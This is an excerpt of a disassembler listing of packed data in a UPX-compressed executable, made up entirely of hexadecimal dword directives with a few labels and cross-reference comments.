		dd 13507139h, 0F6106A06h, 48DD4C7h, 2BE86D2Fh, 23C1B5FBh
		dd 51C15EF6h, 8E25E061h, 2C718894h, 0B8356F49h,	1C231F35h
		dd 95FDCD89h, 0B7530F9Ch, 0CA3B0F36h, 6148C99Bh, 0ECBB956Ch
		dd 3DA0A0h, 0B2F0F186h,	7AB1FC48h, 0FE4E7F9Ch, 0D57476D3h
		dd 0A58FBF5Fh, 81A34A4h, 9ECB2124h, 5B45248Eh, 0B97194B5h
		dd 0BB213846h, 11C58BA1h, 75C1F18Eh, 0ABD6F714h, 4F1B546Eh
		dd 8CB88BB2h, 0B372EF02h, 0B9047FC7h, 60B7656h,	4280E752h
		dd 0D7F21321h, 0F9E9F91Fh, 0D64DD42Eh, 0F6CCA66Ah, 0D9ADE68Ah
		dd 3242D4F0h, 40E2C4AEh, 1D388021h, 35C7DE7Ch, 6B6BF890h
		dd 3A1ACC89h, 0C9E92AABh, 12CFA8E4h, 2B520277h,	6A9CBBC8h
		dd 0D59FEFFFh, 0A1611A86h, 0FD2068A1h, 79B0CFF5h, 0D3AD7CF7h
		dd 0A0B4D5E7h, 2E02F73h, 0C71C1383h, 0A6E5778Ah, 0C15F947h
		dd 8CCBEE9Fh, 0B2E58853h, 364F0DF3h, 7FC9D2ACh,	0FB53E988h
		dd 0BEA52E77h, 0CFA33DA4h, 55CD185Eh, 19F5347Bh, 0B7E33CACh
		dd 73AE6B2Dh, 26CFF47Dh, 0FD22E003h, 0E35F482Fh, 7883063Eh
		dd 0FFBF3E54h, 0C8A62FF6h, 89CD21BDh, 94BDA50Fh, 0C65B6A5Ch
		dd 4FE200A2h, 6641DEFBh, 19D291B8h, 58B9593Fh, 16EAC646h
		dd 0DC1B21C8h, 173807B5h, 41C471A4h, 769274AAh,	99048D42h
		dd 0B1EEA80Bh, 0CF7A82DFh, 0D3E9B5B6h, 31EB95A1h, 4B019ADCh
		dd 95596C6Ah, 0FB57B0Ch, 0C6AA9D4Eh, 2FB139BCh,	0BFEE49Fh
		dd 26A2CFE5h, 4B6F5906h, 0AB632F5Ch, 5C302766h,	0C883D8FAh
		dd 0C5C1D78Dh, 89C1E2E6h, 0CEA2FA4Eh, 0B5D86662h, 20030EE3h
		dd 36E62862h, 0ECDABC79h, 0F0EEC5B2h, 0BE6DF15Eh, 1B211FE2h
		dd 0A40611B3h, 0B721A41Ah, 5475277h, 0AD6ACAA3h, 34C62E4Eh
		dd 43791E48h, 521A4C3h,	79134h
		db 0CDh, 9Ah
word_544F42	dw 0AA64h		; DATA XREF: UPX0:off_4264E0o
		dd 0A7B4D939h, 4F84569Fh, 0C687248Ah, 0E7BA6753h, 7C800181h
		dd 0D2D48F92h, 321842DDh, 0B7966377h, 0A33DD418h, 0BE93B0AAh
		dd 5E83F058h, 0C5A20741h, 0E4EF87CCh, 0A0E6E645h, 6A2D7827h
		dd 85F4F05Ah, 0E074967Fh, 439B67F3h, 7CCC2451h,	0F440A440h
		dd 56F0478Fh, 53654430h, 516C3CB1h, 0D29968BAh,	0DE29AB22h
		dd 0F10C31FAh, 5511557Ah, 48CC9F84h, 0B68B69FDh, 0E3B4E7D3h
		dd 0F7B66AABh, 5E793B24h, 0D1E4EB34h, 0ABD34372h, 0A80148F0h
		dd 70BBDE5Bh, 0D0E9A769h, 0E1411902h, 0CC929CDDh, 9CC5B55Ch
		dd 11EC7F03h, 0A6606145h, 0DF90DAFBh, 9CFE9256h, 0A8D44D81h
		dd 9BBD2463h, 27AB241h,	1A9B152Dh, 185D7A73h, 0EA6F2F02h
		dd 7820395Eh, 0B1DB019Ah, 44E26F73h, 6982C3BAh,	41987F63h
		dd 0BC4C1270h, 163C9953h, 0E20071F4h, 0A05BAB76h, 213FB50Fh
		dd 43C73302h, 0B63EC574h, 0CC077DCEh, 65C929FDh, 0B0E14A5h
		dd 0A2748F18h, 822408DBh, 0C4C132F0h, 0AC39921Ch, 98EE3376h
		dd 0B19D5619h, 291BA728h, 74D1B471h, 981AFB63h,	0B66F5ADDh
		dd 92C1F4AAh, 205BBA1Dh, 5D59618Ch, 65372F95h, 3870F140h
		dd 0D9C1E171h, 0AFF55DFEh, 6AC257B5h, 64F17CFEh, 0AAB612BFh
		dd 319445FAh, 3CE368B0h, 8BDE8D2h, 28E4D011h, 4D1AEB89h
		dd 0A42FEB41h, 29BD7926h, 0CD3DBE13h, 0BF53FD00h, 73CC93C0h
		dd 820B436Ah, 57374213h, 54DFB12Ch, 0D57C8690h,	4827412Eh
		dd 0B742B9D9h, 85B0D9B0h, 0F115F4D6h, 8944D1A4h, 19FDB349h
		dd 0CBEDF6FCh, 0FE08AF2Ch, 9139CA73h, 6B7C5B57h, 0A9FEC440h
		dd 0BC4A7873h, 0E31798BAh, 301BA503h, 0F82BEDDCh, 6C2F3D1h
		dd 0D0CA1973h, 0B44EB0D7h, 85A26DB6h, 0CBBA46DFh, 764F1BB2h
		dd 1AA76C44h, 0D8DC429Ch, 0EC9D15Fh, 0E82068E9h, 0C60EBEA7h
		dd 49F905EEh, 0DE37D496h, 751F2D00h, 66485BCEh,	7C1DCCA5h
		dd 0F9D5BCB1h, 4F1959F7h, 6D9CB994h, 0E7CC9A08h, 0A06058B8h
		dd 2DCA15h, 2F952CD3h, 86B2F28h, 0EB1306Bh, 0F24A1326h
		dd 47C188F7h, 1504BC09h, 4D399BFCh, 836A2E2Eh, 4774CFE4h
		dd 7E87ACD3h, 0B21C7B7Ch, 0F8E4D88Fh, 198F7B79h, 66B5F128h
		dd 4BAC91B1h, 7CA4102Bh, 0E810A43Eh, 6C1E40DDh,	32DB1664h
		dd 6E68CE4Ah, 0BAACBCF7h, 25110AD3h, 95280B5Ah,	10A89385h
		dd 0E0C5011Ch, 3E7E8D7h, 70F04C39h, 0E58BDF2Ch,	73D38CDCh
		dd 1A4AB33Ah, 39C439Fh,	0FE94A2F4h, 72CB93Dh, 8811C2C3h
		dd 57A52FC0h, 0F0EAA57Fh, 853D6AFAh, 0F0D01829h, 8149F62Ah
		dd 2EDE4767h, 98FDFF7h,	343EF03Fh, 68BCF557h, 0F11D71B9h
		dd 0FE3C030Ah, 27462956h, 0B9489845h, 88A55CEh,	38EFF05Fh
		dd 3B1C24B7h, 0FAB5369Fh, 0BDEE169Eh, 0E99AC4F0h, 906F415Eh
		dd 0D9AA3913h, 41132190h, 9ED57F64h, 9AD78329h,	8685510Eh
		dd 0F53244BCh, 2AFD967Fh, 710A9DBh, 473B2683h, 0E1930832h
		dd 733968A1h, 0B60DB16Ah, 9DADB0B9h, 0E1F7A238h, 4E5BFAF9h
		dd 0A054A250h, 0A7676CF8h, 2C5D478Bh, 56A7D90h,	83E1E70Ch
		dd 0F2DA0441h, 2C165012h, 0E4432783h, 0B411E94Ch, 0E3C15234h
		dd 0D3245613h, 0EB45DEE5h, 50AE6235h, 8FFA093Dh, 0EEADFFDh
		dd 3AFF1F90h, 619EA1EBh, 0E28C07A5h, 0B91606D0h, 3C0E491h
		dd 0CC2C39C7h, 99AB26D3h, 0A64835BBh, 0BDB233D6h, 0BD24D14Eh
		dd 0ABF525E8h, 6B2ED108h, 65A66DC5h, 0CE869878h, 27FD3DC5h
		dd 0A0ADB11Fh, 19494BD9h, 107DBBCFh, 57458539h,	637D14FAh
		dd 483B8912h, 0F350D9F6h, 4E08C4AFh, 0D01F3567h, 0E9BA9480h
		dd 0EF76D556h, 0B8EE8ABAh, 30EE5792h, 0C5C7291Ch, 0DE06A685h
		dd 95DDDAE6h, 21589FBCh, 14701531h, 0CD860281h,	3FF4F526h
		dd 6364BD76h, 46044847h, 0C4C9C2C5h, 0AA45E693h
dword_545350	dd 350EDCE0h, 0B873CA9Bh, 0DEB6C914h, 41477550h, 3812B701h
					; DATA XREF: UPX0:off_438F2Co
					; .data:off_4EF57Co
		dd 45694286h, 3AEC12Ch,	0DC6248B6h, 93D6262Fh, 0B9BFA58Fh
		dd 90D3867Dh, 918709DDh, 0F244A143h, 0DA83E9E4h, 0EF2031EBh
		dd 0BE34DA73h, 3172E38Ch, 20A41710h, 0BD542381h, 0A79892EBh
		dd 16C42783h, 0D17649C8h, 2551AAB8h, 0E7332760h, 75CF46CEh
		dd 5A65BBFDh, 4F22F912h, 234C9647h, 82B9E8h, 4755E31Ah
		dd 60F77E61h, 5A2D34C6h, 0F402D0A3h, 5EBFB949h,	3311AD51h
		dd 328DA144h, 0C606A49h, 6DA9444Fh, 0DE8221A3h,	0AD39A96Fh
		dd 0AD34614Fh, 2143FF4Fh, 0C0854237h, 0D43B9F02h, 262AA6EBh
		dd 4A2E8F30h, 0F44C135Fh, 243F9492h, 9FF9924Ch,	0DBDF6E81h
		dd 68B4D46Ah, 2089660h,	0E2F6D05Ch, 7E4FC932h, 0E6977B8Dh
		dd 44ADB2E9h, 0E2723302h, 30042704h, 83E7F34Ch,	372F12E5h
		dd 0BBEE1316h, 0FFFD37CCh, 0D00FFC80h, 367C9DBBh, 0C749ED09h
		dd 0CF9947h, 41FCF5B7h,	5C7FAA8Eh, 747250A9h, 5C8FA6F5h
		dd 3AB2410Fh, 0BC1FC179h, 2C85AA16h, 4C64612h, 6053D110h
		dd 4CC5DD27h, 0A7F0269Dh, 0D18A35B6h, 7418BDD2h, 7C23549Fh
		dd 314A5B29h, 7B8244Eh,	3B4A5746h, 79246FA1h, 0CE682272h
		dd 6C525549h, 6E8E3A41h, 0FC983A47h, 640274D6h,	5D0465CEh
		dd 0C211Bh, 66390475h, 38DF8F55h, 0C3FAD204h, 9249BA31h
		dd 725681A0h, 37CBA6F7h, 0B7DB5E2Eh, 16CFFFE1h,	0C7E9484Fh
		dd 8B7D04CAh, 49F436DAh, 439A9774h, 34582800h, 0BB4FF4C7h
		dd 630DE96h, 235A3C52h,	3AC37C4Dh, 436843E0h, 5F0D4B30h
		dd 0EA3C158Ch, 37EE5DCh, 7FCF87D5h, 4A833EB3h, 0A319B00Ch
		dd 9516C4B4h, 0DFB562D8h, 13C2AC13h, 5B1B4779h,	0E63CE285h
		dd 0AF3F74C2h, 623009A7h, 5C9EF3C7h, 0ABEEFDCBh, 4D875691h
		dd 7DABB382h, 6F8EAD6Ah, 698C6C11h, 0B552DA6Bh,	0AE10033Ch
		dd 0A3B35ABFh, 36A04A8Eh, 0A582E3D1h, 82B82292h, 0C6DC82C3h
		dd 0A3D23095h, 1DA1DDA6h, 0AD4036D0h, 0B95903B9h, 0C593E1Dh
		dd 0A3A49B9Bh, 0CFBEA121h, 58320665h, 2EC014F3h, 0E2E2A92Dh
		dd 3AD1F21Bh, 9FB028ACh, 0EC0BFF33h, 3B7917B3h,	0A8D0A949h
		dd 0A8BC8C8h, 9E973CBDh, 0BA73348h, 8D1BEA7Ch, 8807ABBBh
		dd 7E48B576h, 4CD4D441h, 0E1563F7h, 296651B0h, 988C92E1h
		dd 832A13B2h, 6AEF1E85h, 0E5156137h, 136F568Ah,	0F8F5A177h
		dd 60C525ABh, 7A82C8E0h, 455288A3h, 0F3CBED1h, 58D0A7A8h
		dd 305DF08Eh, 574EC15Dh, 8873D549h, 111D3768h, 0EBE1F920h
		dd 0DA993A3Bh, 23F8815Ah, 0C664F66Bh, 8F8D8A92h, 84DB0CFDh
		dd 0E551829Ch, 0EB066D1Ch, 370747A9h, 7AB9DF1Ch, 0E09D6553h
		dd 57C06FD3h, 48DD5BA2h, 8974BF0Eh, 4702CDE9h, 0F8138F38h
		dd 9A41EFECh, 9337BEA1h, 0D48FE476h, 0E6A29929h, 0A38D9263h
		dd 0FB89F733h, 30467619h, 0BB58E4F2h, 90D161E9h, 65EF9FF2h
		dd 11A353E9h, 1576221Ah, 7C76E52Fh, 0CFB91D6Eh,	0D5ED53CFh
		dd 62E4C892h, 1B2102C1h, 0F2CCAE2h, 0B3607711h,	38CF64F6h
		dd 8909F42Ch, 0FEFECA4h, 57EF6F9Fh, 0ABADF15Eh,	0ACF0DE2Fh
		dd 108E0BC4h, 499CD9BAh, 85B48700h, 12517221h, 0DE5C10FBh
		dd 0EEF71CEFh, 2C38AF49h, 0E19281F8h, 6FA31AEFh, 0D917BF4Ch
		dd 58D756FCh, 0DCA1B4B7h, 0BDECCCC2h, 4412CD3Eh, 55FEDD9Ch
		dd 8EC740C1h, 0C03D6E0Dh, 7A77BCF9h, 2BDA067Ah,	0E0B35FC0h
		dd 0AADF1C5Fh, 0CA8C7BDAh, 0B72152ADh, 5667B6FBh, 20E40B87h
		dd 0B7AAE4EEh, 7763BFA2h, 928FFBC9h, 7A38288Bh,	863DD03Ch
		dd 938DA8EBh, 4F69BE35h, 65FC844Ah, 55F4005h, 7D374509h
		dd 0C8679370h, 61F0BF47h, 0D5B279Ch, 4AE6EE66h,	311E8068h
		dd 0FFFBF412h, 0E60203Eh, 43F6EB3Bh, 7CDE4425h,	69F260BFh
		dd 792597E5h, 0EA3CFC07h, 290A8050h, 15E9E863h,	0E9F42E7Bh
		dd 0A3992107h, 0ED4D51C5h, 873BE2CFh, 0E529F451h, 88FBC642h
		dd 0D13C70Fh, 0D30AB753h, 3B41552Ch, 50C3EEAFh,	0A6EE365h
		dd 7A34357Ah, 0CE38B3C0h, 6AF23436h, 8B2C5B3h, 14F07EC8h
		dd 7DD2AA9Eh, 8A049D2Ah, 1900F739h, 55C6011Bh, 0B059A26Fh
		dd 0D50231BBh, 72FA1C0Fh, 0D0AD5B88h, 4FC5547Eh, 0D5085756h
		dd 2CE4153Eh, 4DFA98F3h, 5FFF6692h, 8568558Dh, 23D016CFh
		dd 0A174F167h, 93BF2B5Ch, 33494E1Eh, 0AB3E3659h, 0F92D397Dh
		dd 9DCB8639h, 33B3DF8Ah, 590F760Eh, 77CE5206h, 997FB490h
		dd 0CDC434C5h, 0D064244Ah, 0F6AF6CE8h, 0F292DBFh, 261F29AFh
		dd 0E819241Fh, 0A946A55Dh, 0DA2806EDh, 6D632A4Fh, 29436012h
		dd 0A9366537h, 84907776h, 0E15842C1h, 0B145129Ch, 2BAB4EDAh
		dd 0B9F33D61h, 8BEA9037h, 5BF30F60h, 466CABB7h,	1DA7A4BCh
		dd 6F11539Dh, 0D8840125h, 0E80873C7h, 81A092CFh, 0B33D6A45h
		dd 97CB44FCh, 8FD0F99Fh, 4B9254ECh, 9C978880h, 0BA090096h
		dd 0C8555869h, 81A4A593h, 94B8A94Fh, 889754A9h,	54FB7581h
		dd 0E430D43Bh, 0AF082E6Fh, 79E24C5h, 0D23A77B5h, 78FF1F5Fh
		dd 0AF4E05A9h, 4F61C5B3h, 6BE76C34h, 9227B2ADh,	0B49FA002h
		dd 9645A72Dh, 0AAE7AEB5h, 7835BA58h, 0D3BF79D4h, 2C1DC050h
		dd 0FC0E5D14h, 55ADDE9Dh, 0ADA283EDh, 0D99AC664h, 6E8C739Bh
		dd 3ADC0AD7h, 96F7F9FBh, 0A8141E9Fh, 2F52B09h, 7DBADB96h
		dd 0EBC096B8h, 1BDD381Eh, 77FBA3E0h, 0D5C3EE0h,	0A9BA968Bh
		dd 12814FA2h, 3DB4CCC5h, 0DA2BCD7Ch, 5722FB72h,	4F0F22B7h
		dd 9852E534h, 502D8B4Fh, 844BC000h, 2F356281h, 0F933A2EBh
		dd 713F5A4Dh, 7B068464h, 0B66F040Fh, 95741CA1h,	0D11E1230h
		dd 0E325AFCAh, 21F86CBAh, 0CE691475h, 405760Eh,	41048C58h
		dd 0A57D1832h, 0FF7CA641h, 74EF599Ah, 4403E62Dh, 58C76E9Dh
		dd 0CEE2670Bh, 8DC9411Eh, 5DD2FE7Ah, 0F8A96A76h, 3FEF98F0h
		dd 0B46B44ADh, 0E7E833A8h, 0E417A662h, 0F1695418h, 23795003h
		dd 73AB3443h, 1EFCDDA7h, 307ED4DDh, 359C9D9Bh, 0FAB4E4CFh
		dd 0EB7FA1EDh, 32898EC5h, 0C036D44Bh, 0EE56C8CEh, 242A9DC5h
		dd 834F3663h, 2B6068Bh,	68F2B358h, 338A0741h, 0DF63060Ch
		dd 87587240h, 23B45A74h, 21511FDFh, 5EC80F4Dh, 77327E17h
		dd 68CA3897h, 9B47285h,	1CB0082Ah, 0C7E9EDD0h, 3DA13192h
		dd 2B2CEC13h, 82ABE852h, 75A02314h, 0FDE7A48Bh,	0A473254Eh
		dd 8DA360BEh, 1F8714DBh, 0B596A052h, 0CF90E942h, 0FD25CC03h
		dd 0E2C7E9D0h, 0F4000Bh, 0BE96203h, 0A402A3CCh,	3686B67Dh
		dd 0DD60A677h, 2DAEB73Fh, 0BEF49FF4h, 95C9248Ah, 0E4D793EFh
		dd 69139C3Dh, 900225F0h, 724A12DBh, 243F9681h, 0B5624745h
		dd 3093FAA9h, 679E5318h, 489C9DA7h, 5B0DAF07h, 0E92E4DF1h
		dd 0EC6729C2h, 1F2BC978h, 0CA0C0A91h, 9481B059h, 42F945C8h
		dd 6ECA08CFh, 49496CEFh, 4A6FAECCh, 2E20312Fh, 0ADC55674h
		dd 7B4B9D9Eh, 0E307E2A9h, 0B66AF433h, 66306BF2h, 8B209898h
		dd 949F814Dh, 0C1795F25h, 7D018FB0h, 0BAEDD604h, 0E7D8B5DDh
		dd 0A073268Eh, 0C443ABABh, 179AE9F7h, 86261C5Fh, 0DA14357Dh
		dd 0C0CD9207h, 0B5D125D7h, 78A2927Ch, 804773h, 0A42F852Dh
		dd 0A9444D1h, 4D32865h,	0CC6837A2h, 0B9995A00h,	10727CB8h
		dd 9052AEDDh, 7B892FDEh, 82D3D07Eh, 0F7FEF501h,	0ECC64F6Eh
		dd 7D9EA4BDh, 0A7E2600Eh, 3C63D4D9h, 314AFCEEh,	23E948D5h
		dd 0BCAE5552h, 9C58B8AFh, 0F9C84E37h, 0F652B867h, 0C7C904FEh
		dd 0E2FAA01h, 9F46C7B0h
		dd 0B509C0AEh, 0C6D01A7Eh, 23B06612h, 2F11C82Ah, 16F00D7Eh
		dd 6EF49B7Ch, 2AB5A2CDh, 163EFEDFh, 4764FDE9h, 0A1339872h
		dd 3E99F76h, 53EEA9A7h,	0D0E79F36h, 0FED36480h,	0F5632BA3h
		dd 0D7F91A7Dh, 0E32F4C7Eh, 0FC2C2596h, 0C564D4F5h, 1AA50C1Bh
		dd 0D4307255h, 29F7C1ACh, 0A137CF17h, 522B34D5h, 0CA63AC08h
		dd 92650D37h, 0A81A2698h, 6C30DD1Eh, 8FC2E1C7h,	6B3B5621h
		dd 3B3ACA5Eh, 0DE063F76h, 0F95499E2h, 8F9C44B0h, 3AB07B18h
		dd 0FA6377CCh, 9486ADF6h, 0BE06A837h, 0A85D2DDCh, 88A66E6Eh
		dd 1435250Dh, 0FFA5C4C6h, 945E0C18h, 0D0DD7B82h, 7812B69Ch
		dd 69B9163Eh, 425090ACh, 73BE0CE9h, 30E604Ah, 612491Ah
		dd 81E13DB6h, 0BA55470Eh, 87B4D128h, 6A74915Ah,	0B099A799h
		dd 0E37B9763h, 4F98FEBEh, 539A9C6Eh, 0A169950h,	8ED098E5h
		dd 608AB041h, 54DBACEFh, 64D47D1Dh, 0C0B65A17h,	0FD301907h
		dd 0FF5B0F95h, 9AF9407Dh, 0F0226D16h, 0EEA86946h, 4234C9EEh
		dd 468F4BCCh, 9505616Fh, 45D1AA78h, 23B9E503h, 0E9A193C5h
		dd 1957BBB2h, 3FD7D73Fh, 0E42B9952h, 451644E0h,	1FC1ECB5h
		dd 52A67D62h, 36C0F643h, 0BB1294B9h, 0E921AF26h, 7C29129Bh
		dd 0CE8A0E08h, 239FB6EAh, 0F8CD3FD9h, 15BC154Dh, 19CEE38Fh
		dd 78B5103h, 77571872h,	61D4C6E6h, 4D184A98h, 0BCE2AE19h
		dd 91B55E5Ah, 0DAD56CE2h, 466B5EF1h, 0D1C9F8C5h, 165EF294h
		dd 82801238h, 0D9589EC4h, 0A4F6D5A7h, 1F139C0Ch, 1448480Bh
		dd 15E57BB3h, 8003A728h, 3CFB89FEh, 0CBA80945h,	8F8A578Ch
		dd 91D25114h, 0A259D906h, 40D2BF04h, 0E3127286h, 0A05A801Bh
		dd 435EC748h, 91433060h, 6895EF02h, 18337FECh, 0A716A2ACh
		dd 4BCB6AA5h, 0B1CED865h, 0D00E7D52h, 196713EAh, 0D3F6F73Ah
		dd 7CEE0C76h, 0BD2A764Fh, 3E71197Eh, 8A036F11h,	0A4593F64h
		dd 19F58C64h, 273F8AB0h, 0C6B402CBh, 9807D90h, 9AA53328h
		dd 56E64B83h, 1E903231h, 803296CCh, 0CD6515F5h,	0BA9389ABh
		dd 6525B9D8h, 249AC66Bh, 0EFAD3BD8h, 3483BFE4h,	0C3F99866h
		dd 0C9CA7440h, 8D31FC4Ch, 708D455Eh, 0E28BCF64h, 0B7543A1Ah
		dd 13CA0B68h, 4DDF5D61h, 0E9A3E2D8h, 9242AF46h,	12718CFh
		dd 26EC0BA7h, 9BDEEC05h, 0E9F8A6C7h, 0F89B844Bh, 81FFA6B8h
		dd 0E7B53E0Fh, 0E654AFABh, 9EDFE5CAh, 4F9CA71h,	4FE2541Dh
		dd 66154430h, 989D0D8h,	61A0A2EEh, 40F8CA0Ah, 0D85B3F09h
		dd 0ED6EA282h, 97E6EF31h, 0C2EFD1DEh, 0E1CF023h, 2CAC7E3h
		dd 726944E7h, 0D29C2C4Ah, 4ECB6E27h, 0C88C83BFh, 0D7B6782Dh
		dd 1F4AF10Ah, 37C675F1h, 57CA78C2h, 3AC830FDh, 44C821BEh
		dd 60F3F48Ch, 0C50F8196h, 391AFDA8h, 542BDBB3h,	24E27AEAh
		dd 0D70E63C8h, 0FFA1487Bh, 0E348F29h, 0F1E50768h, 1796D8C1h
		dd 0C17B8B16h, 6E491964h, 75741691h, 5F3A5660h,	0B222AF5Dh
		dd 0D08C448Bh, 7B321778h, 0C2334Dh, 0B79BFDBCh,	8976BD31h
		dd 6F0BB174h, 867933D6h, 0FE538F82h, 3A3570F5h,	11561864h
		dd 0EC7B4605h, 24F80D73h, 0DCAF261h, 0A5880476h, 554A7293h
		dd 0C8F6FB2Eh, 0D56988F8h, 0B71FA5E8h, 0A19BAC6Ah, 0A35167A0h
		dd 0C4A2E616h, 49A9FFEh, 5BFDF23Ah, 5C266229h, 0CE928A98h
		dd 0F25CBD81h, 0D2F7BB51h, 52299F8Bh, 0D7154D5Fh, 0BD3B3A3Dh
		dd 0DF30267Dh, 3DCBF925h, 96EB36AEh, 3C10A5B8h,	0DE2D1055h
		dd 30EA5883h, 0C31288AFh, 14C54E62h, 0A08B050Eh, 78AB7D84h
		dd 33406810h, 10061D35h, 0B579F59Bh, 0D77F1774h, 3604AF8Ch
		dd 8D332EE9h, 233C492Ah, 921E2814h, 25A071C9h, 677E508Eh
		dd 23C1647h, 711D22C9h,	0EF74EA00h, 0A75AA703h,	9D1B3444h
		dd 995526FBh, 1C2E1881h, 19159F89h, 0A66567D5h,	0C8E03061h
		dd 7821CAEEh, 38452944h, 0D9B4B6C9h, 38E0B804h,	0D9A4F06Dh
		dd 1CCAFB59h, 6C76B52Ah, 2BCE3528h, 38BC6DBEh, 73C0CA36h
		dd 84295946h, 0C8E8301Bh, 1C6A1C4h, 6FBDD691h, 181D3267h
		dd 740EE6B4h, 2251304Fh, 49FE5FBAh, 0ABC56293h,	70E6C3B2h
		dd 0ECD8FFA4h, 768F396Ch, 0A282A3F8h, 4D60D566h, 5B42A763h
		dd 5E0FBB40h, 25866714h, 5E2B867Fh, 3A2C28C5h, 0CF30DAF2h
		dd 6B91D309h, 733AD227h, 9F327C87h, 0D4F29BC9h,	38F42943h
		dd 18093201h, 58452C39h, 2A17615Ah, 19C8D1E9h, 3D32A4CDh
		dd 68AC325Bh, 0A7BC98BDh, 353A2CBCh, 8E043C1Bh,	0B507FD5Ah
		dd 69F000A0h, 1C8C8CD7h, 0D181DF45h, 0D9A372F3h, 0D4DC4411h
		dd 2C437766h, 34C05EEBh, 0ED1499A9h, 7E088370h,	0A5D82B9Dh
		dd 0B4C451B7h, 0B53450D0h, 9053413h, 2F8C2913h,	0E681DE45h
		dd 10054755h, 6B4A6AB1h, 0E89FB022h, 15C29441h,	45CF4409h
		dd 59BCE386h, 168D87ACh, 14A98CD8h, 468FD55Ah, 1AA3DF82h
		dd 1A65D3ABh, 21B12891h, 0C42B6A26h, 0ACC7BEA0h, 0AE325B3Ch
		dd 2BAF7CF8h, 811D587Ch, 0EE6AFEDAh, 633728BEh,	476BFEC6h
		dd 0DEE14879h, 41EEC625h, 0AF8D9CB3h, 0E180E9CBh, 97E6C318h
		dd 0CAF40735h, 5A710FEFh, 70482A4Ah, 53CB3410h,	0DA88A8FDh
		dd 0BA6749BFh, 60211D81h, 59A3F7D5h, 6A468920h,	447C705Ch
		dd 0C5F251B6h, 376B14AFh, 0B17EA868h, 297B26Ch,	0B1DB5C88h
		dd 9DCB44BAh, 755048BEh, 5B2D0AF6h, 0F2893305h,	0CBCE9C76h
		dd 0ACC2811Ch, 0EC89A8B9h, 713E6408h, 0CD8DEEDh, 0D59DA634h
		dd 0FD672E0Fh, 526E1E42h, 6F58E6AFh, 23D5E39Bh,	362F1660h
		dd 6F1DE914h, 0EEC4A8B6h, 8510513Bh, 9B7BAAADh,	0C98F3C70h
		dd 0EC870AEAh, 858072CBh, 6493213Ah, 0A0D674BCh, 69E814B3h
		dd 199E1958h, 593A6013h, 0DFAFDAF4h, 97A9C551h,	0ECA833AAh
		dd 45C9F6E3h, 5E76DBC2h, 0F3515133h, 0EBA0AE5h,	5EEC0655h
		dd 0ECD9A0F6h, 37662DE2h, 1E0349D6h, 0EC2F7C7Fh, 0EB74D3AFh
		dd 0EF9FDC20h, 0F9F52881h, 5B0721Bh, 3D1A6AD2h,	0A0058849h
		dd 0B2308F99h, 234F9D74h, 9B498666h, 79AF03ABh,	85C6CABBh
		dd 395C1CD4h, 8A832FC9h, 0A8C2C607h, 0CCAA6343h, 503209C2h
		dd 0BE72506h, 0BDD278D7h, 633ADE4Eh, 0BBFADCF6h, 0E698A0C1h
		dd 0ED1B7B37h, 29A02FB4h, 0AA46704Fh, 8C85DCF6h, 5A5E4E2Fh
		dd 6DBBA757h, 0F391DB91h, 74F93627h, 0A9E5354Dh, 539B79C7h
		dd 0AF811A16h, 423D7FF0h, 89D3B917h, 65769560h,	4F825997h
		dd 80F879C9h, 0E112AA09h, 875522E7h, 910ACE4h, 714C6F6Dh
		dd 0C9708EA4h, 44796C30h, 656DEF39h, 0D4F46E3Ah, 6B8BCFAh
		dd 0BF8FD98Ch, 0C3CAA378h, 9C18C97Bh, 99DB4D98h, 8D338245h
		dd 63C9BC87h, 6A07F0F2h, 3C07DAC2h, 0DD3099D8h,	0FCDE8804h
		dd 2287C3Bh, 43A82878h,	0CCF9D208h, 0FD33D6Ah, 0E1BDAFA6h
		dd 0BE581161h, 2FDE5B15h, 77B54A98h, 38321D54h,	8A0975F3h
		dd 14865E08h, 0FC518730h, 0BCC3E59h, 7C895861h,	6C2E39DCh
		dd 4F1FE70Ah, 371BC243h, 5DE0B94Bh, 27D4E17Dh, 9FB4AFC8h
		dd 80635D11h, 9BD80D4Ch, 5C017797h, 0C6725EAAh,	59A1D37Fh
		dd 0D48DCF53h, 156751C9h, 360D765Bh, 0F4413722h, 0E512535Ch
		dd 0B805738Bh, 0E42091C7h, 0C97514BDh, 5F39A5EBh, 0D3C58F57h
		dd 0FD16511Dh, 0C903C69Eh, 0A4C9860Ah, 0D8A17F72h, 72A7FAE3h
		dd 857EDF2Eh, 0B555E2D4h, 0F73A3BF2h, 7018BB5Eh, 0C6BB3483h
		dd 7907D51Fh, 2C1E0AA4h, 52BF4F6h, 3A3DFD87h, 8C5EB2B4h
		dd 9353F170h, 0BE0E4476h, 0DB2C3B30h, 5889D2E3h, 38B4724Ch
		dd 0D62372FDh, 80AA5F26h
		dd 0B1CF4715h, 70D88A90h, 0F26E39D2h, 9D6DAF72h, 396F4C98h
		dd 497DD12Ah, 42ECCAE0h, 0A4C2EC6Bh, 52EBFCD7h,	0AFC4E1CFh
		dd 0B19BFCA9h, 487E50Ah, 0D2708620h, 3CFB328Eh,	851E315Ah
		dd 0C7E1FE19h, 41908D1Ch, 0FB6B980Ah, 7CB3B569h, 0F17767E0h
		dd 0B4D62D7Bh, 422EB0A3h, 6859D34Dh, 874AEA19h,	0D02C0821h
		dd 0C580A345h, 9033F72Bh, 7C32546Ah, 3B09DF6Fh,	38805FBFh
		dd 0CE2C7571h, 9A5CBA00h, 2F4B32B9h, 0F2108321h, 0A0A84D3Dh
		dd 0D3A254Eh, 37B1B541h, 63D73AA8h, 0DE52E2D3h,	0B85E6A44h
		dd 8353A75Ch, 0B89E9A3Bh, 0A1991C12h, 0F8BFF2ACh, 0DA1268E5h
		dd 9D52E226h, 0D07675h,	114804F3h, 0D71DE2CCh, 0D486E92h
		dd 0AC028D8Fh, 0F705DB69h, 0F9F398C8h, 0E982234Fh, 2E51015Eh
		dd 6C039B31h, 2C3AB681h, 0F2EC98C8h, 0EE4CD2Bh,	2ADFB5DFh
		dd 0E162DA9Fh, 0D82A02C2h, 24427EB4h, 0A4F9B855h, 0F7B7ADF4h
		dd 0C9405CA6h, 34567063h, 17AB99ACh, 7FAB374Ah,	1BA31FE3h
		dd 0C76CF406h, 307DD844h, 40217156h, 0F508AB9Fh, 0D2A6BC58h
		dd 1AF86C89h, 844E0820h, 864146FDh, 8FD039CBh, 356AA714h
		dd 0E69D2AACh, 5F3221CDh, 0C76812D2h, 949E2EE3h, 66378721h
		dd 298E46B3h, 53351D09h, 0BB523BDFh, 3303F423h,	0D89A6013h
		dd 40DF4BEFh, 0D7CD1BEDh, 67382D1Eh, 672829BEh,	0ED807C1Bh
		dd 810293EEh, 3481C09Ch, 0F99DBA04h, 25D368ADh,	89BF1AFDh
